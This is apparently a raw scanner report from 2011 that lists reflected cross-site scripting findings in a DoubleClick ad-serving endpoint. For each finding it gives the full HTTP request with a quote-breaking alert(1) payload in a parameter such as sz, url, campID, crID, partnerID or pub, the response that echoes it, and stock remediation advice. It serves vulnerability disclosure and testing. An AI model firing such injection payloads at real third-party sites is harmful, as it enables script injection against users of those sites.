GET /adi/N5506.150290.INVITEMEDIA/B5070033;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3B6423724ab7691482%3B12de6f2f4b2,0%3B%3B%3B932760147,NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAsfTy5i0BAAAAAAAAADg0OTk2MjA4LTJlZGYtMTFlMC1iOTdkLTAwMzA0OGQ2ZDg5MAAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583&campID=52754&crID=73583&pubICode=15029518b3b5"-alert(1)-"6e28e40048e&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F&redirectURL=;ord=1296659838? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAAABggqpA1D8AAJD6T6fUPwAAYIKqQNQ.AACQ-k-n1D9HfacomovVPwAA4OnM-NU.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADjya-s.FmSCZIMRPBESjaXH5pC98tmCtRtuX5jAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fn%253B228957569%253B0%252d0%253B0%253B45421688%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dhomepage%26_salt%3D1109920069%26B%3D10%26r%3D0,84996208-2edf-11e0-b97d-003048d6d890 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:32:20 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 8953
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583&campID=52754&crID=73583&pubICode=15029518b3b5"-alert(1)-"6e28e40048e&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F&redirectURL=http ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ddba6"-alert(1)-"6c8bf62d897 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5506.150290.INVITEMEDIA/B5070033;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3B6423724ab7691482%3B12de6f2f4b2,0%3B%3B%3B932760147,NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAsfTy5i0BAAAAAAAAADg0OTk2MjA4LTJlZGYtMTFlMC1iOTdkLTAwMzA0OGQ2ZDg5MAAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583ddba6"-alert(1)-"6c8bf62d897&campID=52754&crID=73583&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F&redirectURL=;ord=1296659838? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAAABggqpA1D8AAJD6T6fUPwAAYIKqQNQ.AACQ-k-n1D9HfacomovVPwAA4OnM-NU.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADjya-s.FmSCZIMRPBESjaXH5pC98tmCtRtuX5jAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fn%253B228957569%253B0%252d0%253B0%253B45421688%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dhomepage%26_salt%3D1109920069%26B%3D10%26r%3D0,84996208-2edf-11e0-b97d-003048d6d890 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:31:20 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 8941
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... leclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583ddba6"-alert(1)-"6c8bf62d897&campID=52754&crID=73583&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2% ...[SNIP]...
The value of the url request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eb197"-alert(1)-"30566853739 was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5506.150290.INVITEMEDIA/B5070033;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3B6423724ab7691482%3B12de6f2f4b2,0%3B%3B%3B932760147,NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAsfTy5i0BAAAAAAAAADg0OTk2MjA4LTJlZGYtMTFlMC1iOTdkLTAwMzA0OGQ2ZDg5MAAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583&campID=52754&crID=73583&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3Feb197"-alert(1)-"30566853739&redirectURL=;ord=1296659838? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAAABggqpA1D8AAJD6T6fUPwAAYIKqQNQ.AACQ-k-n1D9HfacomovVPwAA4OnM-NU.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADjya-s.FmSCZIMRPBESjaXH5pC98tmCtRtuX5jAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fn%253B228957569%253B0%252d0%253B0%253B45421688%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dhomepage%26_salt%3D1109920069%26B%3D10%26r%3D0,84996208-2edf-11e0-b97d-003048d6d890 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:33:18 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 9127
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... &pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3Feb197"-alert(1)-"30566853739&redirectURL=http%3a%2f%2flp2.turbotax.com/ty10/oadisp/ph-1/scroll_f%3Fcid%3Dbn_im_f_anb_op_ScrFr_pk_300x250%26priorityCode%3D4654900000"); var fscUrl = url; var fscUrlClickTagFound = false; var wmode ...[SNIP]...
The value of the campID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 26dad"-alert(1)-"eeefcf6670b was submitted in the campID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5506.150290.INVITEMEDIA/B5070033.24;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=6767726dad"-alert(1)-"eeefcf6670b&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=;ord=1296659628? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAAAIAka89F1z8AAIj9nBzbPwCAJGvPRdc.AACI.Zwc2z-ejamSGMLYPwAAcJCh19w.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlOcB7KlmSCbftrzIXCBE9jVq9wOUizpEl4mSqAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fv%253B228957569%253B0%252d0%253B0%253B45421603%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dcomputers%26_salt%3D791003084%26B%3D10%26r%3D0,07b4f7d4-2edf-11e0-b4de-003048d6cfae Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:31:40 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 9729
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... c%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=6767726dad"-alert(1)-"eeefcf6670b&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid% ...[SNIP]...
The value of the crID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a686a"-alert(1)-"12363754579 was submitted in the crID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5506.150290.INVITEMEDIA/B5070033.24;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798a686a"-alert(1)-"12363754579&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=;ord=1296659628? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAAAIAka89F1z8AAIj9nBzbPwCAJGvPRdc.AACI.Zwc2z-ejamSGMLYPwAAcJCh19w.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlOcB7KlmSCbftrzIXCBE9jVq9wOUizpEl4mSqAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fv%253B228957569%253B0%252d0%253B0%253B45421603%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dcomputers%26_salt%3D791003084%26B%3D10%26r%3D0,07b4f7d4-2edf-11e0-b4de-003048d6cfae Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:32:00 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 9723
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... 3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798a686a"-alert(1)-"12363754579&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype ...[SNIP]...
The value of the partnerID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2e4ac"-alert(1)-"f286bd5be45 was submitted in the partnerID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5506.150290.INVITEMEDIA/B5070033.24;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=2192e4ac"-alert(1)-"f286bd5be45&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=;ord=1296659628? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAAAIAka89F1z8AAIj9nBzbPwCAJGvPRdc.AACI.Zwc2z-ejamSGMLYPwAAcJCh19w.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlOcB7KlmSCbftrzIXCBE9jVq9wOUizpEl4mSqAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fv%253B228957569%253B0%252d0%253B0%253B45421603%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dcomputers%26_salt%3D791003084%26B%3D10%26r%3D0,07b4f7d4-2edf-11e0-b4de-003048d6cfae Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:32:59 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 9723
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... 1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=2192e4ac"-alert(1)-"f286bd5be45&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D% ...[SNIP]...
The value of the pub request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 97ae1"-alert(1)-"d5a8c8b632 was submitted in the pub parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
